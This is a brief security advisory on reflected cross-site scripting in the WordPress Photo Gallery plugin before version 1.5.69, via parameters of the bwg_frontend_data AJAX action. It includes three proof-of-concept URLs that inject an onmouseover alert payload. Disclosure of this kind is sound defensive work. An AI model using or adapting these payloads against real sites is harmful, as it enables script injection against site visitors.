Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)

Description

The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&tag=%22%20onmouseover=alert(1)%3E

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&theme_id=%22%20onmouseover=alert(1)%3E

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery_id=1%22%20onmouseover=alert(1)%3E